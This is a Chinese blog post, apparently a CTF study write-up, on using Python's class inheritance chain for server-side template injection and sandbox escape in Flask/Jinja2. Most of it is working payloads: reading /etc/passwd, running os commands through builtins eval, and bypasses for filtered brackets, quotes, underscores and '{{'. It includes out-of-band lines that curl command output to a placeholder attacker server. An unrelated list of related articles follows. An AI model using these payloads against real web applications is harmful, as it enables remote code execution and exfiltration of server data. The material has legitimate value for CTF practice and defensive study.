PYthon继承链(egg)的思考和实战

前言 

起初学习ssti的时候,就只是拿着tplmap一顿乱扫,然后进行命令执行,之前深入学习了一下PYthon继承链;今天写个文章进行加深记忆和理解。

基础知识

class

返回一个实例所属的类;

这里可以看到返回了s1mple 类;

globals

返回一个当前的空间之下可以利用的模块,方法和变量的字典; 使用方法为  函数名.globals

subclasses()

返回一个类的子类,是列表的形式;

builtin && builtins

在PYthon中是可以直接运行一些内敛函数的,这些函数我们在builtin中可以看到;

 PYthon继承链在CTF中的实战----沙盒逃逸

基本想法:::在PYthon的object中集成了很多的基础函数;我们可以尝试利用进行文件的读取或者写入;

这里我要声明一下,沙箱逃逸中;py2和py3是不一样的;首先来拿py2来进行讨论;

这里我们可以基于上面的基础知识;

先查看所有的object;然后再找file

().class.mro[1].subclass()[40]

就可以拿到file;然后我们看看其可以使用的内置方法,

这里可以看到有个内置的read方法,因为存在file的object,所以我们需要利用这个点去进行文件读取;语法为

().class.mro[1].subclass()[40] ('xxxxxx').read()

也可以进行文件的写入。用的则是write;语法为().class.mro[1].subclass()[40] (路径+文件名).write('内容')

然后还有个基类可以进行任意命令的执行;是 warnings.catch_warnings

().class.mro[1].subclasses()[59]

然后调用方法eval进行任意命令执行;

有没有PY2和PY3通吃的方法呢

答案是有的;之前介绍了builtins

py2:().class.bases[0].subclasses()[59].init.globals'builtins'("import('os').system('whoami')")
py3:().class.bases[0].subclasses()[64].init.globals'builtins'("import('os').system('whoami')")

都可以进行任意代码执行;

有过滤该怎么办

下面介绍多种的绕过方式,进行绕过;

如果过滤了敏感字符,比如eval os 等等

可以考虑使用编码解码绕过;可采用base64;或者rot13,16进制和字符转化等等的编码进行绕过;这里演示一下base64编码eval进行绕过限制eval的情况,发现可以正常的执行;

过滤了中括号【】怎么绕过去

这里我提供的是getitem()进行绕过;

这里发现可以执行成功;那么我们只需要将我们执行中的【】全部换成我们的getitem即可,那么问题来了,后面的[eval]怎么绕过呢;这里介绍一下  函数['属性'] === 函数.属性

''.class.mro[2].subclasses().getitem(59).init.globals.builtins.eval("import('os').popen('cat /etc/passwd').read()") 这样就可以绕过去了,但是我在本地py环境下测试的时候发现不是那么流畅,可能是py还需要加载什么东西吧;

过滤了’”怎么绕过去

过滤了这些绕过方式有些局限性,因为这里需要对漏洞的接收参数格式有严格的要求,必须是get或者post型的;而且get型的必须是类似于?s1mple=  这样的接收方式才可以进行利用;那么也就决定了在现实的沙盒逃逸中是不可行的,但是对于某些ctf题目来说却是可行的;那就是利用request来进行传值;

request.args.xx
{{[].class.mro[1].subclasses()[40] (request.args.s1mple).read()}}&s1mple=/etc/passwd

还有一种是通过chr进行绕过;(ascii码)不过这中情况一般很少用;

过滤了双下划线怎么绕过

依然是可以通过request 进行传参的;给个例子;

()[request.args.class].bases[0].subclasses()[59].init.globals.builtins'eval'&class=class

过滤了{{怎么绕过

这里研究起源于做的一道ctf题目,当时fuzz了一下,发现过滤了{{ 这里想到直接浏览器读取肯定是不可能的了;这里其实很明显了,我们利用远程SSTI把结果打到我们自己的服务器上去;至于绕过 {{ 则可以采用  {%if xxxxx}1{% endif %},这里给出一个实例;;

{% if ''.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen('curl http://ip:port/?i=whoami').read()=='p' %}1{% endif %}  如果是post的话,则可以采用另外的方法;利用curl -d 直接来传;{% iconfigf ''.claconfigss.mconfigro[2].subclasconfigses()[59].init.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d ls / | grep flag;') %}1{% endiconfigf %}

http://hetianlab.com/expc.do?ec=ECID87ed-2223-40e5-8083-f5c55d69af28(服务端模板注入是指用户输入的参数被服务端当成模板语言进行了渲染,导致代码执行。)

(0)

相关推荐

  • Py之lightgbm:lightgbm的简介、安装、使用方法之详细攻略

    Py之lightgbm:lightgbm的简介.安装.使用方法之详细攻略 lightgbm的简介 LightGBM 是一个梯度 boosting 框架, 使用基于学习算法的决策树. 它是分布式的, 高 ...

  • python的这些特殊方法你都用过哪些?一起使用后发现有这些规律

    python的这些特殊方法你都用过哪些?一起使用后发现有这些规律

  • Python 插件式程序设计与开发实践总结

    开发环境 win 10 python 3.6.5 代码结构 需求描述 如上,以user.py为程序入口脚本,运行该脚本时,需要创建一个user类对象,执行一系列动作(包含一系列动作的列表).程序执行动 ...

  • Python杂谈: __init__.py的作用

    https://www.cnblogs.com/tp1226/p/8453854.html 我们经常在python的模块目录中会看到 "__init__.py"  这个文件,那么它 ...

  • 关于Flask SSTI,解锁你不知道的新姿势

    前言 本文主要介绍笔者在学习Flask SSTI相关知识时,无意中解锁了新姿势.在研究原理后,从中挖掘出新的奇怪知识点~ 前置知识 Flask和SSTI介绍 Flask是一个使用Python编写的轻量 ...

  • python 包机制、导入模块

    表白:黑白圣堂血天使,天剑鬼刀阿修罗.  讲解对象:/python 包机制.导入模块 作者:融水公子 rsgz Python3 教程 python教程 http://www.rsgz.top/post ...

  • Python学习—面向对象编程基础篇

    python面向对象编程已经学完了,有必要进行一下记录总结,加深一下理解,不然似懂非懂容易忘记:面向对象的知识点很多,其中面向对象的高级篇:元类,需要另外一篇博客来写,最后还要手撸一个简单版本的ORM ...

  • 写在疫情当下的思考【实战教学】

    全球的疫情爆发,相信大家隔着手机屏幕,也已经感受到冲击波了.各种数据也是愈发惊人,米国已经成为全球第一大疫情传播体,目前光日新增就超过2万,俨然已成震中.而意大利的死亡率已超10%,医疗体系超负荷,到 ...

  • Python继承机制及其使用

    Python类的封装.继承.多态3大特性,前面章节已经详细介绍了Python类的封装,本节继续讲解Python类的继承机制. 继承机制经常用于创建和现有类功能类似的新类,又或是新类只需要在现有类基础上 ...

  • 万孝红:因人民法院确认的遗嘱办理继承不动产登记的思考

    作者单位:无锡市不动产登记中心 全文共3149字,阅读大约需要8分钟 当事人凭遗嘱办理继承不动产登记时,遗嘱真实合法性的判断成为登记机构审核的重点难点问题.但对于经人民院确认过的合法有效的遗嘱办理继承 ...

  • 万孝红:《民法典》实施后非公证继承登记的审查思考

    2021年1月1日<民法典>实施后,关于继承方面的规则发生较大变化,如公证遗嘱不再具有优先效力,遗嘱形式的增多,继承人范围的扩大等,使得非公证继承登记的审查方式需要相应地调整.为此笔者通过 ...

  • 【Python实战】爬取5K分辨率超清唯美壁纸

    简介 壁纸的选择其实很大程度上能看出电脑主人的内心世界,有的人喜欢风景,有的人喜欢星空,有的人喜欢美女,有的人喜欢动物.然而,终究有一天你已经产生审美疲劳了,但你下定决定要换壁纸的时候,又发现网上的壁 ...

  • python类的继承

    目录 一.概述 二.类的继承 2.1 继承的定义 2.2 构造函数的继承 2.3 子类对父类方法的重写 三.类继承的事例 回到顶部 一.概述 面向对象编程 (OOP) 语言的一个主要功能就是" ...

  • 20个python数据分析实战项目(附源码)

    20个python数据分析实战项目(附源码)

  • 王震:服务就是“生死线”,基于20年康养项目的实战经验思考

    嘉宾丨王震 撰文丨刘超 编辑丨陈苗 AgeClub年度大会预告:ABI2021・第三届中国老年产业商业创新大会(上海),活动时间:10月15-16日两天,扫描文末海报二维码报名! 开篇: 对于服务性行 ...

  • 应用程序Python的日志记录模板 | 区块链研究实验室

    原创 链三丰 区块链研究实验室 4天前 通过定义明确,信息量大且结构方便的日志,调试和跟踪应用程序执行的理想方式. 它们是任何编程语言(不仅仅是Python)中任何大型,中型或大型项目必不可少的组成部 ...